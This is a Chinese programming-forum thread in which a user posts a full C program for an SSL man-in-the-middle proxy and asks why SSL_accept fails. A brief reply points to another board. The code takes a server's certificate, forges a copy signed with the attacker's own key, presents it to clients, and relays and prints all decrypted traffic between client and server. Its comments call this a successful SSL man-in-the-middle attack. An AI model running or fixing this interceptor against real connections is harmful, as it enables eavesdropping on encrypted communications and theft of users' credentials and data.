| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1732 人关注过本帖
标题:中间人共计实验,在使用伪造证书连接客户端时失败
只看楼主 加入收藏
xisha
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2018-11-22
结帖率:0
收藏
 问题点数:0 回复次数:1 
中间人共计实验,在使用伪造证书连接客户端时失败
   在SSL_accept哪一步中断,打印错误SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol,
private.key和他public.key使用以下两个命令生成:
openssl genrsa -out private.pem 1024
openssl rsa -in private.pem -pubout -out public.pem

程序代码:
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/param.h>
//#include <linux/netfilter_ipv4.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <netdb.h>
#include <pthread.h>

#include <openssl/ssl.h>
#include <openssl/err.h>

#define LISTEN_BACKLOG 50

#define warning(msg) \
do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0)

#define error(msg) \
do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0)

int sum = 1;
typedef struct Parameter {
    int client;
    int server;
    char *host;
    int port;
    EVP_PKEY *key;
} *P;
typedef struct SocketFd {
    int client;
    int server;
    char *host;
    int port;
} *MFD;
struct timeval timeout0 = { 0, 1000000 };


int socket_to_client_init(short int port) {
    int sockfd;
    int on = 1;
    struct sockaddr_in addr;

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        error("Fail to initial socket to client!");
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0)
        error("reuseaddr error!");

    memset(&addr, 0, sizeof(addr));
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) {
        shutdown(sockfd, SHUT_RDWR);
        error("Fail to bind socket to client!");
    }
    if (listen(sockfd, LISTEN_BACKLOG) < 0) {
        shutdown(sockfd, SHUT_RDWR);
        error("Fail to listen socket to client!");
    }

    return sockfd;
}
int get_line(int sock, char *buf, int size)
{
    int i = 0;
    char c = '\0';
    int n;

    while ((i < size - 1) && (c != '\n'))
    {
        n = (int)recv(sock, &c, 1, 0);
        /* DEBUG printf("%02X\n", c); */
        if (n > 0)
        {
            if (c == '\r')
            {
                n = (int)recv(sock, &c, 1, MSG_PEEK);
                /* DEBUG printf("%02X\n", c); */
                if ((n > 0) && (c == '\n'))
                    recv(sock, &c, 1, 0);
                else
                    c = '\n';
            }
            buf[i] = c;
            i++;
        }
        else
            c = '\n';
    }
    buf[i] = '\0';

    return(i);
}

static void trim( char* line )
{
    int l;

    l = (int)strlen( line );
    while ( line[l-1] == '\n' || line[l-1] == '\r' )
        line[--l] = '\0';
}
static int open_client_socket(
                              int client,
                              char* hostname,
                              unsigned short port )
{
#ifdef USE_IPV6
    struct addrinfo hints;
    char portstr[10];
    int gaierr;
    struct addrinfo* ai;
    struct addrinfo* ai2;
    struct addrinfo* aiv4;
    struct addrinfo* aiv6;
    struct sockaddr_in6 sa_in;
#else /* USE_IPV6 */
    struct hostent *he;
    struct sockaddr_in sa_in;
#endif /* USE_IPV6 */
    int sa_len, sock_family, sock_type, sock_protocol;
    int sockfd;

    (void) memset( (void*) &sa_in, 0, sizeof(sa_in) );

#ifdef USE_IPV6

    (void) memset( &hints, 0, sizeof(hints) );
    hints.ai_family = PF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    (void) snprintf( portstr, sizeof(portstr), "%d", (int) port );
    if ( (gaierr = getaddrinfo( hostname, portstr, &hints, &ai )) != 0 ) {
        send_error( client, 404, "Not Found", (char*) 0, "Unknown host." );
        return -1;
    }

    /* Find the first IPv4 and IPv6 entries. */
    aiv4 = (struct addrinfo*) 0;
    aiv6 = (struct addrinfo*) 0;
    for ( ai2 = ai; ai2 != (struct addrinfo*) 0; ai2 = ai2->ai_next )
    {
        switch ( ai2->ai_family )
        {
            case AF_INET:
                if ( aiv4 == (struct addrinfo*) 0 )
                    aiv4 = ai2;
                break;
            case AF_INET6:
                if ( aiv6 == (struct addrinfo*) 0 )
                    aiv6 = ai2;
                break;
        }
    }

    /* If there's an IPv4 address, use that, otherwise try IPv6. */
    if ( aiv4 != (struct addrinfo*) 0 )
    {
        if ( sizeof(sa_in) < aiv4->ai_addrlen )
        {
            (void) fprintf(
                           stderr, "%s - sockaddr too small (%lu < %lu)\n",
                           hostname, (unsigned long) sizeof(sa_in),
                           (unsigned long) aiv4->ai_addrlen );
            return -1;
        }
        sock_family = aiv4->ai_family;
        sock_type = aiv4->ai_socktype;
        sock_protocol = aiv4->ai_protocol;
        sa_len = aiv4->ai_addrlen;
        (void) memmove( &sa_in, aiv4->ai_addr, sa_len );
        goto ok;
    }
    if ( aiv6 != (struct addrinfo*) 0 )
    {
        if ( sizeof(sa_in) < aiv6->ai_addrlen )
        {
            (void) fprintf(
                           stderr, "%s - sockaddr too small (%lu < %lu)\n",
                           hostname, (unsigned long) sizeof(sa_in),
                           (unsigned long) aiv6->ai_addrlen );
            return -1;
        }
        sock_family = aiv6->ai_family;
        sock_type = aiv6->ai_socktype;
        sock_protocol = aiv6->ai_protocol;
        sa_len = aiv6->ai_addrlen;
        (void) memmove( &sa_in, aiv6->ai_addr, sa_len );
        goto ok;
    }

    send_error( client, 404, "Not Found", (char*) 0, "Unknown host." );
    return -1;

ok:
    freeaddrinfo( ai );

#else /* USE_IPV6 */

    he = gethostbyname( hostname );
    if ( he == (struct hostent*) 0 ) {
//        send_error( client, 404, "Not Found", (char*) 0, "Unknown host." );
        return -1;
    }
    sock_family = sa_in.sin_family = he->h_addrtype;
    sock_type = SOCK_STREAM;
    sock_protocol = 0;
    sa_len = sizeof(sa_in);
    (void) memmove( &sa_in.sin_addr, he->h_addr, he->h_length );
    sa_in.sin_port = htons( port );

#endif /* USE_IPV6 */

    sockfd = socket( sock_family, sock_type, sock_protocol );
    if ( sockfd < 0 ) {
//        send_error( client, 500, "Internal Error", (char*) 0, "Couldn't create socket." );
        return -1;
    }
    
    if ( connect( sockfd, (struct sockaddr*) &sa_in, sa_len ) < 0 ) {
//        send_error( client, 503, "Service Unavailable", (char*) 0, "Connection refused." );
        return -1;
    }
    printf(" to server [%s:%d]\n", inet_ntoa(sa_in.sin_addr),
           ntohs(sa_in.sin_port));
    return sockfd;
}
MFD get_socket_to_client(int socket) {
    MFD fd = malloc(sizeof(struct SocketFd));
//    fd->server = -1;
    fd->client = -1;
    fd->server = -1;
    struct sockaddr_in client_addr;
    socklen_t client_size = sizeof(struct sockaddr);
//    socklen_t server_size = sizeof(struct sockaddr);

    memset(&client_addr, 0, client_size);
//    memset(original_server_addr, 0, server_size);
    fd->client = accept(socket, (struct sockaddr *) NULL, NULL);
    if (fd->client < 0) {
        warning("Fail to accept socket to client!");
        return fd;
    }
    printf("Find SSL connection from client [%s:%d]",
           inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
    char line[10000], method[10000], url[10000], protocol[10000], host[10000], path[10000];
    get_line(fd->client, line, sizeof(line));
    trim(line);
    if (sscanf(line, "%[^ ] %[^ ] %[^ ]", method, url, protocol) != 3) {
        return fd;
    }
    int iport;

    if (strncasecmp(url, "http://", 7) == 0) {
        if (sscanf(url, "http://%[^:/]:%d%s", host, &iport, path) == 3) {
            fd->host = host;
            fd->port = iport;
        } else if(sscanf(url, "http://%[^/]%s", host, path) == 2) {
            fd->host = host;
            fd->port = 80;
        } else if(sscanf(url, "http://%[^:/]:%d", host, &iport) == 2) {
            fd->host = host;
            fd->port = iport;
        }
        fd->client = -1;
    } else if (strcmp(method, "CONNECT") == 0) {
        if ( sscanf( url, "%[^:]:%d", host, &iport ) == 2 ) {
            fd->port = (unsigned short) iport;
            fd->host = host;
            fd->server = open_client_socket(fd->client, fd->host, fd->port);
        } else if (sscanf(url, "%s", host) == 1) {
            fd->host = host;
            fd->port = 443;
            fd->server = open_client_socket(fd->client, fd->host, fd->port);
        } else {
            fd->client = -1;
        }
    } else {
        fd->client = -1;
    }
    return fd;
}

void SSL_init() {
    SSL_library_init();
    SSL_load_error_strings();
}

void SSL_Warning(char *custom_string) {
    char error_buffer[256] = { 0 };

    fprintf(stderr, "%d, %s ", sum, custom_string);
    ERR_error_string(ERR_get_error(), error_buffer);
    fprintf(stderr, "%s\n", error_buffer);
}

void SSL_Error(char *custom_string) {
    SSL_Warning(custom_string);
    exit(EXIT_FAILURE);
}

SSL* SSL_to_server_init(int socket) {
    SSL_CTX *ctx;

    ctx = SSL_CTX_new(SSLv23_client_method());
    if (ctx == NULL)
        SSL_Error("Fail to init ssl ctx!");

    SSL *ssl = SSL_new(ctx);
    if (ssl == NULL)
        SSL_Error("Create ssl error");
    if (SSL_set_fd(ssl, socket) != 1)
        SSL_Error("Set fd error");

    return ssl;
}

SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) {
    SSL_CTX *ctx;
    ctx = SSL_CTX_new(SSLv23_server_method());
    if (ctx == NULL)
        SSL_Error("Fail to init ssl ctx!");
    if (cert && key) {
        if (SSL_CTX_use_certificate(ctx, cert) != 1)
            SSL_Error("Certificate error");
        if (SSL_CTX_use_PrivateKey(ctx, key) != 1)
            SSL_Error("key error");
        if (SSL_CTX_check_private_key(ctx) != 1)
            SSL_Error("Private key does not match the certificate public key");
    }
//    SSL_CTX_use_certificate_file(ctx, "squidCA.pem", SSL_FILETYPE_PEM);
//    SSL_CTX_use_PrivateKey_file(ctx, "private.key", SSL_FILETYPE_PEM);
//    SSL_CTX_check_private_key(ctx);

    SSL *ssl = SSL_new(ctx);
    if (ssl == NULL)
        SSL_Error("Create ssl error");
    if (SSL_set_fd(ssl, socket) != 1)
        SSL_Error("Set fd error");
//    if (SSL_get_verify_result(ssl) != X509_V_OK) {
//        SSL_Error("X509证书无效!");
//    }
    return ssl;
}

void SSL_terminal(SSL *ssl) {
    SSL_CTX *ctx = SSL_get_SSL_CTX(ssl);
    SSL_shutdown(ssl);
    SSL_free(ssl);
    if (ctx)
        SSL_CTX_free(ctx);
}

EVP_PKEY* create_key() {
    EVP_PKEY *key = EVP_PKEY_new();
    RSA *rsa = RSA_new();

    FILE *fp;
    if ((fp = fopen("private.pem", "r")) == NULL)
        error("private.pem");
    PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL);
    if ((fp = fopen("public.pem", "r")) == NULL)
        error("public.pem");
    PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL);

    EVP_PKEY_assign_RSA(key,rsa);
    return key;
}

X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) {
    X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server);
    X509 *fake_x509 = X509_dup(server_x509);
    if (server_x509 == NULL)
        SSL_Error("Fail to get the certificate from server!");

    X509_set_version(fake_x509, X509_get_version(server_x509));
    ASN1_INTEGER *a = X509_get_serialNumber(fake_x509);
    a->data[0] = a->data[0] + 1;
    X509_NAME *issuer = X509_NAME_new();

    X509_set_issuer_name(fake_x509, issuer);
    X509_set_pubkey(fake_x509, key);
    X509_sign(fake_x509, key, EVP_sha1());
    

    return fake_x509;
}

int transfer(SSL *ssl_to_client, SSL *ssl_to_server) {
    int socket_to_client = SSL_get_fd(ssl_to_client);
    int socket_to_server = SSL_get_fd(ssl_to_server);
    int ret;
    char buffer[4096] = { 0 };

    fd_set fd_read;

    printf("%d, waiting for transfer\n", sum);
    while (1) {
        int max;

        FD_ZERO(&fd_read);
        FD_SET(socket_to_server, &fd_read);
        FD_SET(socket_to_client, &fd_read);
        max = socket_to_client > socket_to_server ? socket_to_client + 1
        : socket_to_server + 1;

        ret = select(max, &fd_read, NULL, NULL, &timeout0);
        if (ret < 0) {
            SSL_Warning("Fail to select!");
            break;
        } else if (ret == 0) {
            continue;
        }
        if (FD_ISSET(socket_to_client, &fd_read)) {
            memset(buffer, 0, sizeof(buffer));
            ret = SSL_read(ssl_to_client, buffer, sizeof(buffer));
            if (ret > 0) {
                if (ret != SSL_write(ssl_to_server, buffer, ret)) {
                    SSL_Warning("Fail to write to server!");
                    break;
                } else {
                    printf("%d, client send %d bytes to server\n", sum, ret);
                    printf("%s\n", buffer);
                }
            } else {
                SSL_Warning("Fail to read from client!");
                break;
            }
        }
        if (FD_ISSET(socket_to_server, &fd_read)) {
            memset(buffer, 0, sizeof(buffer));
            ret = SSL_read(ssl_to_server, buffer, sizeof(buffer));
            if (ret > 0) {
                if (ret != SSL_write(ssl_to_client, buffer, ret)) {
                    SSL_Warning("Fail to write to client!");
                    break;
                } else {
                    printf("%d, server send %d bytes to client\n", sum, ret);
                    printf("%s\n", buffer);
                }
            } else {
                SSL_Warning("Fail to read from server!");
                break;
            }
        }
    }
    return -1;
}
void doit(MFD fd, EVP_PKEY* key) {
    X509 *fake_x509;
    SSL *ssl_to_client, *ssl_to_server;

//    // 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket
    int socket_to_server = fd->server;
    // 通过和服务器连接的socket建立一个和服务器的SSL连接
    ssl_to_server = SSL_to_server_init(socket_to_server);
    if (SSL_connect(ssl_to_server) < 0)
        SSL_Error("Fail to connect server with ssl!");
//    printf("%d, SSL to server\n", sum);

    // 从服务器获得证书,并通过这个证书伪造一个假的证书
    fake_x509 = create_fake_certificate(ssl_to_server, key);
    // 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功
    ssl_to_client = SSL_to_client_init(fd->client, fake_x509, key);

    if(ssl_to_client == 0)
    {
        SSL_Error("SSL to client Failed!\n");
    }
    
    if (SSL_accept(ssl_to_client) <= 0)
        SSL_Error("Fail to accept client with ssl!");
    printf("%d, SSL to client\n", sum);
    
    // 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据
    if (transfer(ssl_to_client, ssl_to_server) < 0) {
        printf("%d, connection shutdown\n", sum);
        SSL_terminal(ssl_to_client);
        SSL_terminal(ssl_to_server);
        shutdown(socket_to_server, SHUT_RDWR);
        shutdown(fd->client, SHUT_RDWR);
        X509_free(fake_x509);
    }
}
int main(int argc, char *argv[]) {
    // 初始化一个socket,将该socket绑定到8888端口,并监听
    int socket = socket_to_client_init(8888);
    // 从文件读取伪造SSL证书时需要的RAS私钥和公钥
    EVP_PKEY* key = create_key();
    // 初始化openssl库
    SSL_init();


//    pthread_t nthread;
//    P par = (P)malloc(sizeof(struct Parameter));
//    par->key = key;
    while (1) {
        // 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中
        MFD fd = get_socket_to_client(socket);
        if (fd->client < 0 || fd->server < 0)
            continue;
//        par->client = fd->client;
//        par->host = fd->host;
//        par->port = fd->port;
//        if (pthread_create(&nthread, NULL, (void *)doit, par)) {
//            continue;
//        }
        if (!fork()) {
            doit(fd, key);
        }
    }

//    EVP_PKEY_free(key);
    return 0;
}

搜索更多相关主题的帖子: client key int struct host 
2018-11-22 16:12
时光流逝
Rank: 4
来 自:北京
等 级:业余侠客
威 望:8
帖 子:94
专家分:297
注 册:2019-11-16
收藏
得分:0 
你应该去C++板块
2020-03-13 19:59
快速回复:中间人共计实验,在使用伪造证书连接客户端时失败
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.024497 second(s), 11 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved